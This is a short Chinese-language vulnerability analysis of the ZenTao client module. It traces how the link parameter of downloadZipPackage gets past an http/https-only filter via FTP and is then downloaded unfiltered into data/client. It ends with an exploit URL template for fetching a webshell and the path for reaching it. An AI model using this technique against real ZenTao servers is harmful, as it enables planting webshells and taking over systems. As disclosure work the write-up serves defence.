漏洞分析
module/client/control.php:86
参数直接传入 module,跟进 downloadZipPackage 函数,全局搜索发现有两个downloadZipPackage函数:
module/client/ext/model/xuanxuan.php:10
对 link 参数进行过滤,如果正则匹配到 http[s]:// 则返回false,可以使用FTP协议绕过。
module/client/model.php:240
base64 解密 link 参数后将下载文件至 data/client/ 拼接 version 参数的目录,无任何过滤。
调用路径:control -> ext module -> module
漏洞利用
Exploit:
http://127.0.0.1/zentao/client-download-1-(base64 encode webshell download link)-1.htmlhttp://127.0.0.1/zentao/data/client/1/(download link filename)
复现:
使用FTP协议下载文件,绕过module/client/ext/model/xuanxuan.php:10函数的HTTP协议过滤。